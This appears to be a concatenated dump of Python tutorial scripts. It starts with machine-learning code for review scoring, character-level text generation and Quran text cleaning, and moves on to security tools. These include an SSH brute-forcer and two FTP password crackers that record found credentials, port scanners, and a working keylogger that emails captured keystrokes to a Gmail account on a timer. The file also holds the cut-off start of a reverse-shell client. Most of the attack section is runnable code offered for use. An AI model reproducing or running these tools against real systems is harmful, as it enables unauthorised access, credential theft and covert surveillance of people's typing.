tqdm.tqdm(range(X.shape[0]), "Tokenizing words"): X[i, 0] = tokenize_words(str(X[i, 0]), vocab2int) lengths = [ len(row) for row in X[:, 0] ] print("min_length:", min(lengths)) print("max_length:", max(lengths)) X_train, X_test, y_train, y_test = train_test_split(X[:, 0], X[:, 1], test_size=test_size, shuffle=True, random_state=19) return X_train, X_test, y_train, y_test, vocab import os # disable keras loggings import sys stderr = sys.stderr sys.stderr = open(os.devnull, 'w') import keras sys.stderr = stderr # to use CPU os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=5, inter_op_parallelism_threads=5, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) from model import get_model_5stars from utils import clean_text, tokenize_words from config import embedding_size, sequence_length from keras.preprocessing.sequence import pad_sequences import pickle vocab2int = pickle.load(open("data/vocab2int.pickle", "rb")) model = get_model_5stars(len(vocab2int), sequence_length=sequence_length, embedding_size=embedding_size) model.load_weights("results/model_V20_0.38_0.80.h5") if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="Food Review evaluator") parser.add_argument("review", type=str, help="The review of the product in text") args = parser.parse_args() review = tokenize_words(clean_text(args.review), vocab2int) x = pad_sequences([review], maxlen=sequence_length) print(f"{model.predict(x)[0][0]:.2f}/5") # to use CPU # import os # os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 # os.environ["CUDA_VISIBLE_DEVICES"] = "-1" # import tensorflow as tf # config = tf.ConfigProto(intra_op_parallelism_threads=5, # inter_op_parallelism_threads=5, # allow_soft_placement=True, # device_count = {'CPU' : 1, # 'GPU' : 0} # ) import os import numpy as np import pandas as pd from keras.callbacks import ModelCheckpoint from keras.preprocessing import sequence from preprocess import load_review_data from model import get_model_5stars from config import sequence_length, embedding_size, batch_size, epochs X_train, X_test, y_train, y_test, vocab = load_review_data() vocab_size = len(vocab) print("Vocab size:", vocab_size) X_train = sequence.pad_sequences(X_train, maxlen=sequence_length) X_test = sequence.pad_sequences(X_test, maxlen=sequence_length) print("X_train.shape:", X_train.shape) print("X_test.shape:", X_test.shape) print("y_train.shape:", y_train.shape) print("y_test.shape:", y_test.shape) model = get_model_5stars(vocab_size, sequence_length=sequence_length, embedding_size=embedding_size) model.load_weights("results/model_V40_0.60_0.67.h5") model.compile(loss="mse", optimizer="adam", metrics=["accuracy"]) if not os.path.isdir("results"): os.mkdir("results") checkpointer = ModelCheckpoint("results/model_V40_{val_loss:.2f}_{val_acc:.2f}.h5", save_best_only=True, verbose=1) model.fit(X_train, y_train, epochs=epochs, validation_data=(X_test, y_test), batch_size=batch_size, callbacks=[checkpointer]) import numpy as np from string import punctuation # make it a set to accelerate tests punc = set(punctuation) def clean_text(text): return ''.join([ c.lower() for c in str(text) if c not in punc ]) def tokenize_words(words, vocab2int): words = words.split() tokenized_words = np.zeros((len(words),)) for j in range(len(words)): try: tokenized_words[j] = vocab2int[words[j]] except KeyError: # didn't add any unk, just ignore pass return tokenized_words import numpy as np import pickle import tqdm from keras.models import Sequential from keras.layers import Dense, LSTM, Dropout, Activation from keras.callbacks import ModelCheckpoint seed = "import os" # output: # ded of and alice as it go on and the court # well you wont you wouldncopy thing # there was not a long to growing anxiously any only a low every cant # go on a litter which was proves of any only here and the things and the mort meding and the mort and alice was the things said to herself i cant remeran as if i can repeat eften to alice any of great offf its archive of and alice and a cancur as the mo char2int = pickle.load(open("python-char2int.pickle", "rb")) int2char = pickle.load(open("python-int2char.pickle", "rb")) sequence_length = 100 n_unique_chars = len(char2int) # building the model model = Sequential([ LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True), Dropout(0.3), LSTM(256), Dense(n_unique_chars, activation="softmax"), ]) model.load_weights("results/python-v2-2.48.h5") # generate 400 characters generated = "" for i in tqdm.tqdm(range(400), "Generating text"): # make the input sequence X = np.zeros((1, sequence_length, n_unique_chars)) for t, char in enumerate(seed): X[0, (sequence_length - len(seed)) + t, char2int[char]] = 1 # predict the next character predicted = model.predict(X, verbose=0)[0] # converting the vector to an integer next_index = np.argmax(predicted) # converting the integer to a character next_char = int2char[next_index] # add the character to results generated += next_char # shift seed and the predicted character seed = seed[1:] + next_char print("Generated text:") print(generated) import numpy as np import os import pickle from keras.models import Sequential from keras.layers import Dense, LSTM, Dropout from keras.callbacks import ModelCheckpoint from utils import get_batches # import requests # content = requests.get("http://www.gutenberg.org/cache/epub/11/pg11.txt").text # open("data/wonderland.txt", "w", encoding="utf-8").write(content) from string import punctuation # read the data # text = open("data/wonderland.txt", encoding="utf-8").read() text = open("E:\\datasets\\text\\my_python_code.py").read() # remove caps text = text.lower() for c in "!": text = text.replace(c, "") # text = text.lower().replace("\n\n", "\n").replace("", "").replace("", "").replace("", "").replace("", "") # text = text.translate(str.maketrans("", "", punctuation)) # text = text[:100_000] n_chars = len(text) unique_chars = ''.join(sorted(set(text))) print("unique_chars:", unique_chars) n_unique_chars = len(unique_chars) print("Number of characters:", n_chars) print("Number of unique characters:", n_unique_chars) # dictionary that converts characters to integers char2int = {c: i for i, c in enumerate(unique_chars)} # dictionary that converts integers to characters int2char = {i: c for i, c in enumerate(unique_chars)} # save these dictionaries for later generation pickle.dump(char2int, open("python-char2int.pickle", "wb")) pickle.dump(int2char, open("python-int2char.pickle", "wb")) # hyper parameters sequence_length = 100 step = 1 batch_size = 128 epochs = 1 sentences = [] y_train = [] for i in range(0, len(text) - sequence_length, step): sentences.append(text[i: i + sequence_length]) y_train.append(text[i+sequence_length]) print("Number of sentences:", len(sentences)) X = get_batches(sentences, y_train, char2int, batch_size, sequence_length, n_unique_chars, n_steps=step) # for i, x in enumerate(X): # if i == 1: # break # print(x[0].shape, x[1].shape) # # vectorization # X = np.zeros((len(sentences), sequence_length, n_unique_chars)) # y = np.zeros((len(sentences), n_unique_chars)) # for i, sentence in enumerate(sentences): # for t, char in enumerate(sentence): # X[i, t, char2int[char]] = 1 # y[i, char2int[y_train[i]]] = 1 # X = np.array([char2int[c] for c in text]) # print("X.shape:", X.shape) # goal of X is (n_samples, sequence_length, n_chars) # sentences = np.zeros(()) # print("y.shape:", y.shape) # building the model # model = Sequential([ # LSTM(128, input_shape=(sequence_length, n_unique_chars)), # Dense(n_unique_chars, activation="softmax"), # ]) # building the model model = Sequential([ LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True), Dropout(0.3), LSTM(256), Dense(n_unique_chars, activation="softmax"), ]) model.load_weights("results/python-v2-2.48.h5") model.summary() model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) if not os.path.isdir("results"): os.mkdir("results") checkpoint = ModelCheckpoint("results/python-v2-{loss:.2f}.h5", verbose=1) # model.fit(X, y, batch_size=batch_size, epochs=epochs, callbacks=[checkpoint]) model.fit_generator(X, steps_per_epoch=len(sentences) // batch_size, epochs=epochs, callbacks=[checkpoint]) import numpy as np def get_batches(sentences, y_train, char2int, batch_size, sequence_length, n_unique_chars, n_steps): chars_per_batch = batch_size * n_steps n_batches = len(sentences) // chars_per_batch while True: for i in range(0, len(sentences), batch_size): X = np.zeros((batch_size, sequence_length, n_unique_chars)) y = np.zeros((batch_size, n_unique_chars)) for i, sentence in enumerate(sentences[i: i+batch_size]): for t, char in enumerate(sentence): X[i, t, char2int[char]] = 1 y[i, char2int[y_train[i]]] = 1 yield X, y from pyarabic.araby import ALPHABETIC_ORDER with open("quran.txt", encoding="utf8") as f: text = f.read() unique_chars = set(text) print("unique chars:", unique_chars) arabic_alpha = { c for c, order in ALPHABETIC_ORDER.items() } to_be_removed = unique_chars - arabic_alpha to_be_removed = to_be_removed - {'.', ' ', ''} print(to_be_removed) text = text.replace("", ".") for char in to_be_removed: text = text.replace(char, "") text = text.replace(" ", " ") text = text.replace(" \n", "") text = text.replace("\n ", "") with open("quran_cleaned.txt", "w", encoding="utf8") as f: print(text, file=f) from sklearn.model_selection import GridSearchCV from keras.wrappers.scikit_learn import KerasClassifier from utils import read_data, text_to_sequence, get_batches, get_data from models import rnn_model from keras.layers import LSTM import numpy as np text, int2char, char2int = read_data() batch_size = 256 test_size = 0.2 n_steps = 200 n_chars = len(text) vocab_size = len(set(text)) print("n_steps:", n_steps) print("n_chars:", n_chars) print("vocab_size:", vocab_size) encoded = np.array(text_to_sequence(text)) n_train = int(n_chars * (1-test_size)) X_train = encoded[:n_train] X_test = encoded[n_train:] X, Y = get_data(X_train, batch_size, n_steps, vocab_size=vocab_size+1) print(X.shape) print(Y.shape) # cell, num_layers, units, dropout, output_dim, batch_normalization=True, bidirectional=True model = KerasClassifier(build_fn=rnn_model, input_dim=n_steps, cell=LSTM, num_layers=2, dropout=0.2, output_dim=vocab_size+1, batch_normalization=True, bidirectional=True) params = { "units": [100, 128, 200, 256, 300] } grid = GridSearchCV(estimator=model, param_grid=params) grid_result = grid.fit(X, Y) print(grid_result.best_estimator_) print(grid_result.best_params_) print(grid_result.best_score_) from keras.models import Sequential from keras.layers import LSTM, Dropout, BatchNormalization, LeakyReLU, Dense, Activation, TimeDistributed, Bidirectional def rnn_model(input_dim, cell, num_layers, units, dropout, output_dim, batch_normalization=True, bidirectional=True): model = Sequential() for i in range(num_layers): if i == 0: # first time, specify input_shape # if bidirectional: # model.add(Bidirectional(cell(units, input_shape=(None, input_dim), return_sequences=True))) # else: model.add(cell(units, input_shape=(None, input_dim), return_sequences=True)) if batch_normalization: model.add(BatchNormalization()) model.add(Dropout(dropout)) model.add(LeakyReLU(alpha=0.1)) else: if i == num_layers - 1: return_sequences = False else: return_sequences = True if bidirectional: model.add(Bidirectional(cell(units, return_sequences=return_sequences))) else: model.add(cell(units, return_sequences=return_sequences)) if batch_normalization: model.add(BatchNormalization()) model.add(Dropout(dropout)) model.add(LeakyReLU(alpha=0.1)) model.add(Dense(output_dim, activation="softmax")) model.compile(loss="categorical_crossentropy", optimizer="nadam", metrics=["accuracy"]) return model # to use CPU import os os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=5, inter_op_parallelism_threads=5, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) from models import rnn_model from keras.layers import LSTM from utils import sequence_to_text, get_data import numpy as np import pickle char2int = pickle.load(open("results/char2int.pickle", "rb")) int2char = { v:k for k, v in char2int.items() } print(int2char) n_steps = 500 def text_to_sequence(text): global char2int return [ char2int[c] for c in text ] def pick_top_n(preds, vocab_size, top_n=5): p = np.squeeze(preds) p[np.argsort(p)[:-top_n]] = 0 p = p / np.sum(p) c = np.random.choice(vocab_size, 1, p=p)[0] return c def logits_to_text(logits): """ Turn logits from a neural network into text using the tokenizer :param logits: Logits from a neural network :param tokenizer: Keras Tokenizer fit on the labels :return: String that represents the text of the logits """ return int2char[np.argmax(logits, axis=0)] # return ''.join([int2char[prediction] for prediction in np.argmax(logits, 1)]) def generate_code(model, initial_text, n_chars=100): new_chars = "" for i in range(n_chars): x = np.array(text_to_sequence(initial_text)) x, _ = get_data(x, 64, n_steps, 1) pred = model.predict(x)[0][0] c = logits_to_text(pred) new_chars += c initial_text += c return new_chars model = rnn_model(input_dim=n_steps, output_dim=99, cell=LSTM, num_layers=3, units=200, dropout=0.2, batch_normalization=True) model.load_weights("results/rnn_3.5") x = """x = np.array(text_to_sequence(x)) x, _ = get_data(x, n_steps, 1) print(x.shape) print(x.shape) print(model.predict_proba(x)) print(model.predict_classes(x)) def pick_top_n(preds, vocab_size, top_n=5): p = np.squeeze(preds) p[np.argsort(p)[:-top_n]] = 0 p = p / np.sum(p) c = np.random.choice(vocab_size, 1, p=p)[0] return c def sample(checkpoint, n_samples, lstm_size, vocab_size, prime="The"): samples = [c for c in prime] with train_chars.tf.Session() as sess: saver.restore(sess, checkpoint) new_state = sess.run(model.initial_state) for c in prime: x = np.zeros((1, 1)) x[0,0] = train_chars.char2int[c] feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) # print("Preds:", preds) c = pick_top_n(preds, len(train_chars.vocab)) samples.append(train_chars.int2char[c]) for i in range(n_samples): x[0,0] = c feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) c = pick_top_n(preds, len(train_chars.vocab)) char = train_chars.int2char[c] samples.append(char) # if i == n_samples - 1 and char != " " and char != ".": if i == n_samples - 1 and char != " ": # while char != "." and char != " ": while char != " ": x[0,0] = c feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) c = pick_top_n(preds, len(train_chars.vocab)) char = train_chars.int2char[c] samples.append(cha """ # print(x.shape) # print(x.shape) # pred = model.predict(x)[0][0] # print(pred) # print(logits_to_text(pred)) # print(model.predict_classes(x)) print(generate_code(model, x, n_chars=500)) from models import rnn_model from keras.layers import LSTM from keras.callbacks import ModelCheckpoint from utils import text_to_sequence, sequence_to_text, get_batches, read_data, get_data, get_data_length import numpy as np import os text, int2char, char2int = read_data(load=False) batch_size = 256 test_size = 0.2 n_steps = 500 n_chars = len(text) vocab_size = len(set(text)) print("n_steps:", n_steps) print("n_chars:", n_chars) print("vocab_size:", vocab_size) encoded = np.array(text_to_sequence(text)) n_train = int(n_chars * (1-test_size)) X_train = encoded[:n_train] X_test = encoded[n_train:] train = get_batches(X_train, batch_size, n_steps, output_format="many", vocab_size=vocab_size+1) test = get_batches(X_test, batch_size, n_steps, output_format="many", vocab_size=vocab_size+1) for i, t in enumerate(train): if i == 2: break print(t[0]) print(np.array(t[0]).shape) # print(test.shape) # # DIM = 28 # model = rnn_model(input_dim=n_steps, output_dim=vocab_size+1, cell=LSTM, num_layers=3, units=200, dropout=0.2, batch_normalization=True) # model.summary() # model.compile(loss="categorical_crossentropy", optimizer="nadam", metrics=["accuracy"]) # if not os.path.isdir("results"): # os.mkdir("results") # checkpointer = ModelCheckpoint("results/rnn_{val_loss:.1f}", save_best_only=True, verbose=1) # train_steps_per_epoch = get_data_length(X_train, n_steps, output_format="one") // batch_size # test_steps_per_epoch = get_data_length(X_test, n_steps, output_format="one") // batch_size # print("train_steps_per_epoch:", train_steps_per_epoch) # print("test_steps_per_epoch:", test_steps_per_epoch) # model.load_weights("results/rnn_3.2") # model.fit_generator(train, # epochs=30, # validation_data=(test), # steps_per_epoch=train_steps_per_epoch, # validation_steps=test_steps_per_epoch, # callbacks=[checkpointer], # verbose=1) # model.save("results/rnn_final.model") import numpy as np import tqdm import pickle from keras.utils import to_categorical int2char, char2int = None, None def read_data(load=False): global int2char global char2int with open("E:\\datasets\\text\\my_python_code.py") as f: text = f.read() unique_chars = set(text) if not load: int2char = { i: c for i, c in enumerate(unique_chars, start=1) } char2int = { c: i for i, c in enumerate(unique_chars, start=1) } pickle.dump(int2char, open("results/int2char.pickle", "wb")) pickle.dump(char2int, open("results/char2int.pickle", "wb")) else: int2char = pickle.load(open("results/int2char.pickle", "rb")) char2int = pickle.load(open("results/char2int.pickle", "rb")) return text, int2char, char2int def get_batches(arr, batch_size, n_steps, vocab_size, output_format="many"): '''Create a generator that returns batches of size batch_size x n_steps from arr. Arguments --------- arr: Array you want to make batches from batch_size: Batch size, the number of sequences per batch n_steps: Number of sequence steps per batch ''' chars_per_batch = batch_size * n_steps n_batches = len(arr) // chars_per_batch arr = arr[:chars_per_batch * n_batches] arr = arr.reshape((batch_size, -1)) if output_format == "many": while True: for n in range(0, arr.shape[1], n_steps): x = arr[:, n: n+n_steps] y_temp = arr[:, n+1:n+n_steps+1] y = np.zeros(x.shape, dtype=y_temp.dtype) y[:, :y_temp.shape[1]] = y_temp yield x.reshape(1, x.shape[0], x.shape[1]), y.reshape(1, y.shape[0], y.shape[1]) elif output_format == "one": while True: # X = np.zeros((arr.shape[1], n_steps)) # y = np.zeros((arr.shape[1], 1)) # for i in range(n_samples-n_steps): # X[i] = np.array([ p.replace(",", "") if isinstance(p, str) else p for p in df.Price.iloc[i: i+n_steps] ]) # price = df.Price.iloc[i + n_steps] # y[i] = price.replace(",", "") if isinstance(price, str) else price for n in range(arr.shape[1] - n_steps-1): x = arr[:, n: n+n_steps] y = arr[:, n+n_steps+1] # print("y.shape:", y.shape) y = to_categorical(y, num_classes=vocab_size) # print("y.shape after categorical:", y.shape) y = np.expand_dims(y, axis=0) yield x.reshape(1, x.shape[0], x.shape[1]), y def get_data(arr, batch_size, n_steps, vocab_size): # n_samples = len(arr) // n_seq # X = np.zeros((n_seq, n_samples)) # Y = np.zeros((n_seq, n_samples)) chars_per_batch = batch_size * n_steps n_batches = len(arr) // chars_per_batch arr = arr[:chars_per_batch * n_batches] arr = arr.reshape((batch_size, -1)) # for index, i in enumerate(range(0, n_samples*n_seq, n_seq)): # x = arr[i:i+n_seq] # y = arr[i+1:i+n_seq+1] # if len(x) != n_seq or len(y) != n_seq: # break # X[:, index] = x # Y[:, index] = y X = np.zeros((batch_size, arr.shape[1])) Y = np.zeros((batch_size, vocab_size)) for n in range(arr.shape[1] - n_steps-1): x = arr[:, n: n+n_steps] y = arr[:, n+n_steps+1] # print("y.shape:", y.shape) y = to_categorical(y, num_classes=vocab_size) # print("y.shape after categorical:", y.shape) # y = np.expand_dims(y, axis=1) X[:, n: n+n_steps] = x Y[n] = y # yield x.reshape(1, x.shape[0], x.shape[1]), y return np.expand_dims(X, axis=1), Y # return n_samples # return X.T.reshape(1, X.shape[1], X.shape[0]), Y.T.reshape(1, Y.shape[1], Y.shape[0]) def get_data_length(arr, n_seq, output_format="many"): if output_format == "many": return len(arr) // n_seq elif output_format == "one": return len(arr) - n_seq def text_to_sequence(text): global char2int return [ char2int[c] for c in text ] def sequence_to_text(sequence): global int2char return ''.join([ int2char[i] for i in sequence ]) import json import os import glob CUR_DIR = os.getcwd() text = "" # for filename in os.listdir(os.path.join(CUR_DIR, "data", "json")): surat = [ f"surah_{i}.json" for i in range(1, 115) ] for filename in surat: filename = os.path.join(CUR_DIR, "data", "json", filename) file = json.load(open(filename, encoding="utf8")) content = file['verse'] for verse_id, ayah in content.items(): text += f"{ayah}." n_ayah = len(text.split(".")) n_words = len(text.split(" ")) n_chars = len(text) print(f"Number of ayat: {n_ayah}, Number of words: {n_words}, Number of chars: {n_chars}") with open("quran.txt", "w", encoding="utf8") as quran_file: print(text, file=quran_file) import paramiko import socket import time from colorama import init, Fore # initialize colorama init() GREEN = Fore.GREEN RED = Fore.RED RESET = Fore.RESET BLUE = Fore.BLUE def is_ssh_open(hostname, username, password): # initialize SSH client client = paramiko.SSHClient() # add to know hosts client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(hostname=hostname, username=username, password=password, timeout=3) except socket.timeout: # this is when host is unreachable print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}") return False except paramiko.AuthenticationException: print(f"[!] Invalid credentials for {username}:{password}") return False except paramiko.SSHException: print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}") # sleep for a minute time.sleep(60) return is_ssh_open(hostname, username, password) else: # connection was established successfully print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}") return True if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="SSH Bruteforce Python script.") parser.add_argument("host", help="Hostname or IP Address of SSH Server to bruteforce.") parser.add_argument("-P", "--passlist", help="File that contain password list in each line.") parser.add_argument("-u", "--user", help="Host username.") # parse passed arguments args = parser.parse_args() host = args.host passlist = args.passlist user = args.user # read the file passlist = open(passlist).read().splitlines() # brute-force for password in passlist: if is_ssh_open(host, user, password): # if combo is valid, save it to a file open("credentials.txt", "w").write(f"{user}{host}:{password}") break from cryptography.fernet import Fernet import os def write_key(): """ Generates a key and save it into a file """ key = Fernet.generate_key() with open("key.key", "wb") as key_file: key_file.write(key) def load_key(): """ Loads the key from the current directory named key.key """ return open("key.key", "rb").read() def encrypt(filename, key): """ Given a filename (str) and key (bytes), it encrypts the file and write it """ f = Fernet(key) with open(filename, "rb") as file: # read all file data file_data = file.read() # encrypt data encrypted_data = f.encrypt(file_data) # write the encrypted file with open(filename, "wb") as file: file.write(encrypted_data) def decrypt(filename, key): """ Given a filename (str) and key (bytes), it decrypts the file and write it """ f = Fernet(key) with open(filename, "rb") as file: # read the encrypted data encrypted_data = file.read() # decrypt data decrypted_data = f.decrypt(encrypted_data) # write the original file with open(filename, "wb") as file: file.write(decrypted_data) if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="Simple File Encryptor Script") parser.add_argument("file", help="File to encrypt/decrypt") parser.add_argument("-g", "--generate-key", dest="generate_key", action="store_true", help="Whether to generate a new key or use existing") parser.add_argument("-e", "--encrypt", action="store_true", help="Whether to encrypt the file, only -e or -d can be specified.") parser.add_argument("-d", "--decrypt", action="store_true", help="Whether to decrypt the file, only -e or -d can be specified.") args = parser.parse_args() file = args.file generate_key = args.generate_key if generate_key: write_key() # load the key key = load_key() encrypt_ = args.encrypt decrypt_ = args.decrypt if encrypt_ and decrypt_: raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") elif encrypt_: encrypt(file, key) elif decrypt_: decrypt(file, key) else: raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") import ftplib from threading import Thread import queue from colorama import Fore, init # for fancy colors, nothing else # init the console for colors (for Windows) # init() # initialize the queue q = queue.Queue() # port of FTP, aka 21 port = 21 def connect_ftp(): global q while True: # get the password from the queue password = q.get() # initialize the FTP server object server = ftplib.FTP() print("[!] Trying", password) try: # tries to connect to FTP server with a timeout of 5 server.connect(host, port, timeout=5) # login using the credentials (user & password) server.login(user, password) except ftplib.error_perm: # login failed, wrong credentials pass else: # correct credentials print(f"{Fore.GREEN}[+] Found credentials: ") print(f"\tHost: {host}") print(f"\tUser: {user}") print(f"\tPassword: {password}{Fore.RESET}") # we found the password, let's clear the queue with q.mutex: q.queue.clear() q.all_tasks_done.notify_all() q.unfinished_tasks = 0 finally: # notify the queue that the task is completed for this password q.task_done() if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="FTP Cracker made with Python") parser.add_argument("host", help="The target host or IP address of the FTP server") parser.add_argument("-u", "--user", help="The username of target FTP server") parser.add_argument("-p", "--passlist", help="The path of the pass list") parser.add_argument("-t", "--threads", help="Number of workers to spawn for logining, default is 30", default=30) args = parser.parse_args() # hostname or IP address of the FTP server host = args.host # username of the FTP server, root as default for linux user = args.user passlist = args.passlist # number of threads to spawn n_threads = args.threads # read the wordlist of passwords passwords = open(passlist).read().split("\n") print("[+] Passwords to try:", len(passwords)) # put all passwords to the queue for password in passwords: q.put(password) # create n_threads that runs that function for t in range(n_threads): thread = Thread(target=connect_ftp) # will end when the main thread end thread.daemon = True thread.start() # wait for the queue to be empty q.join() import ftplib from colorama import Fore, init # for fancy colors, nothing else # init the console for colors (for Windows) init() # hostname or IP address of the FTP server host = "192.168.1.113" # username of the FTP server, root as default for linux user = "test" # port of FTP, aka 21 port = 21 def is_correct(password): # initialize the FTP server object server = ftplib.FTP() print(f"[!] Trying", password) try: # tries to connect to FTP server with a timeout of 5 server.connect(host, port, timeout=5) # login using the credentials (user & password) server.login(user, password) except ftplib.error_perm: # login failed, wrong credentials return False else: # correct credentials print(f"{Fore.GREEN}[+] Found credentials:", password, Fore.RESET) return True # read the wordlist of passwords passwords = open("wordlist.txt").read().split("\n") print("[+] Passwords to try:", len(passwords)) # iterate over passwords one by one # if the password is found, break out of the loop for password in passwords: if is_correct(password): break import hashlib import sys def read_file(file): """Reads en entire file and returns file bytes.""" BUFFER_SIZE = 16384 # 16 kilo bytes b = b"" with open(file, "rb") as f: while True: # read 16K bytes from the file bytes_read = f.read(BUFFER_SIZE) if bytes_read: # if there is bytes, append them b += bytes_read else: # if not, nothing to do here, break out of the loop break return b if __name__ == "__main__": # read some file file_content = read_file(sys.argv[1]) # some chksums: # hash with MD5 (not recommended) print("MD5:", hashlib.md5(file_content).hexdigest()) # hash with SHA-2 (SHA-256 & SHA-512) print("SHA-256:", hashlib.sha256(file_content).hexdigest()) print("SHA-512:", hashlib.sha512(file_content).hexdigest()) # hash with SHA-3 print("SHA-3-256:", hashlib.sha3_256(file_content).hexdigest()) print("SHA-3-512:", hashlib.sha3_512(file_content).hexdigest()) # hash with BLAKE2 # 256-bit BLAKE2 (or BLAKE2s) print("BLAKE2c:", hashlib.blake2s(file_content).hexdigest()) # 512-bit BLAKE2 (or BLAKE2b) print("BLAKE2b:", hashlib.blake2b(file_content).hexdigest()) import hashlib # encode it to bytes using UTF-8 encoding message = "Some text to hash".encode() # hash with MD5 (not recommended) print("MD5:", hashlib.md5(message).hexdigest()) # hash with SHA-2 (SHA-256 & SHA-512) print("SHA-256:", hashlib.sha256(message).hexdigest()) print("SHA-512:", hashlib.sha512(message).hexdigest()) # hash with SHA-3 print("SHA-3-256:", hashlib.sha3_256(message).hexdigest()) print("SHA-3-512:", hashlib.sha3_512(message).hexdigest()) # hash with BLAKE2 # 256-bit BLAKE2 (or BLAKE2s) print("BLAKE2c:", hashlib.blake2s(message).hexdigest()) # 512-bit BLAKE2 (or BLAKE2b) print("BLAKE2b:", hashlib.blake2b(message).hexdigest()) from PIL import Image from PIL.ExifTags import TAGS import sys # path to the image or video imagename = sys.argv[1] # read the image data using PIL image = Image.open(imagename) # extract EXIF data exifdata = image.getexif() # iterating over all EXIF data fields for tag_id in exifdata: # get the tag name, instead of human unreadable tag id tag = TAGS.get(tag_id, tag_id) data = exifdata.get(tag_id) # decode bytes if isinstance(data, bytes): data = data.decode() print(f"{tag:25}: {data}") import keyboard # for keylogs import smtplib # for sending email using SMTP protocol (gmail) # Semaphore is for blocking the current thread # Timer is to make a method runs after an interval amount of time from threading import Semaphore, Timer SEND_REPORT_EVERY = 600 # 10 minutes EMAIL_ADDRESS = "put_real_address_heregmail.com" EMAIL_PASSWORD = "put_real_pw" class Keylogger: def __init__(self, interval): # we gonna pass SEND_REPORT_EVERY to interval self.interval = interval # this is the string variable that contains the log of all # the keystrokes within self.interval self.log = "" # for blocking after setting the on_release listener self.semaphore = Semaphore(0) def callback(self, event): """ This callback is invoked whenever a keyboard event is occured (i.e when a key is released in this example) """ name = event.name if len(name) > 1: # not a character, special key (e.g ctrl, alt, etc.) # uppercase with [] if name == "space": # " " instead of "space" name = " " elif name == "enter": # add a new line whenever an ENTER is pressed name = "[ENTER]\n" elif name == "decimal": name = "." else: # replace spaces with underscores name = name.replace(" ", "_") name = f"[{name.upper()}]" self.log += name def sendmail(self, email, password, message): # manages a connection to an SMTP server server = smtplib.SMTP(host="smtp.gmail.com", port=587) # connect to the SMTP server as TLS mode ( for security ) server.starttls() # login to the email account server.login(email, password) # send the actual message server.sendmail(email, email, message) # terminates the session server.quit() def report(self): """ This function gets called every self.interval It basically sends keylogs and resets self.log variable """ if self.log: # if there is something in log, report it self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) # can print to a file, whatever you want # print(self.log) self.log = "" Timer(interval=self.interval, function=self.report).start() def start(self): # start the keylogger keyboard.on_release(callback=self.callback) # start reporting the keylogs self.report() # block the current thread, # since on_release() doesn't block the current thread # if we don't block it, when we execute the program, nothing will happen # that is because on_release() will start the listener in a separate thread self.semaphore.acquire() if __name__ == "__main__": keylogger = Keylogger(interval=SEND_REPORT_EVERY) keylogger.start() import argparse import socket # for connecting from colorama import init, Fore from threading import Thread, Lock from queue import Queue # some colors init() GREEN = Fore.GREEN RESET = Fore.RESET GRAY = Fore.LIGHTBLACK_EX # number of threads, feel free to tune this parameter as you wish N_THREADS = 200 # thread queue q = Queue() print_lock = Lock() def port_scan(port): """ Scan a port on the global variable host """ try: s = socket.socket() s.connect((host, port)) except: with print_lock: print(f"{GRAY}{host:15}:{port:5} is closed {RESET}", end='\r') else: with print_lock: print(f"{GREEN}{host:15}:{port:5} is open {RESET}") finally: s.close() def scan_thread(): global q while True: # get the port number from the queue worker = q.get() # scan that port number port_scan(worker) # tells the queue that the scanning for that port # is done q.task_done() def main(host, ports): global q for t in range(N_THREADS): # for each thread, start it t = Thread(target=scan_thread) # when we set daemon to true, that thread will end when the main thread ends t.daemon = True # start the daemon thread t.start() for worker in ports: # for each port, put that port into the queue # to start scanning q.put(worker) # wait the threads ( port scanners ) to finish q.join() if __name__ == "__main__": # parse some parameters passed parser = argparse.ArgumentParser(description="Simple port scanner") parser.add_argument("host", help="Host to scan.") parser.add_argument("--ports", "-p", dest="port_range", default="1-65535", help="Port range to scan, default is 1-65535 (all ports)") args = parser.parse_args() host, port_range = args.host, args.port_range start_port, end_port = port_range.split("-") start_port, end_port = int(start_port), int(end_port) ports = [ p for p in range(start_port, end_port)] main(host, ports) import socket # for connecting from colorama import init, Fore # some colors init() GREEN = Fore.GREEN RESET = Fore.RESET GRAY = Fore.LIGHTBLACK_EX def is_port_open(host, port): """ determine whether host has the port open """ # creates a new socket s = socket.socket() try: # tries to connect to host using that port s.connect((host, port)) # make timeout if you want it a little faster ( less accuracy ) s.settimeout(0.2) except: # cannot connect, port is closed # return false return False else: # the connection was established, port is open! return True # get the host from the user host = input("Enter the host:") # iterate over ports, from 1 to 1024 for port in range(1, 1025): if is_port_open(host, port): print(f"{GREEN}[+] {host}:{port} is open {RESET}") else: print(f"{GRAY}[!] {host}:{port} is closed {RESET}", end="\r") import socket import subprocess import sys SERVER_HOST = sys.argv[1] SERVER_PORT = 5003 BUFFER_SIZE = 1024 # create the socket object s = 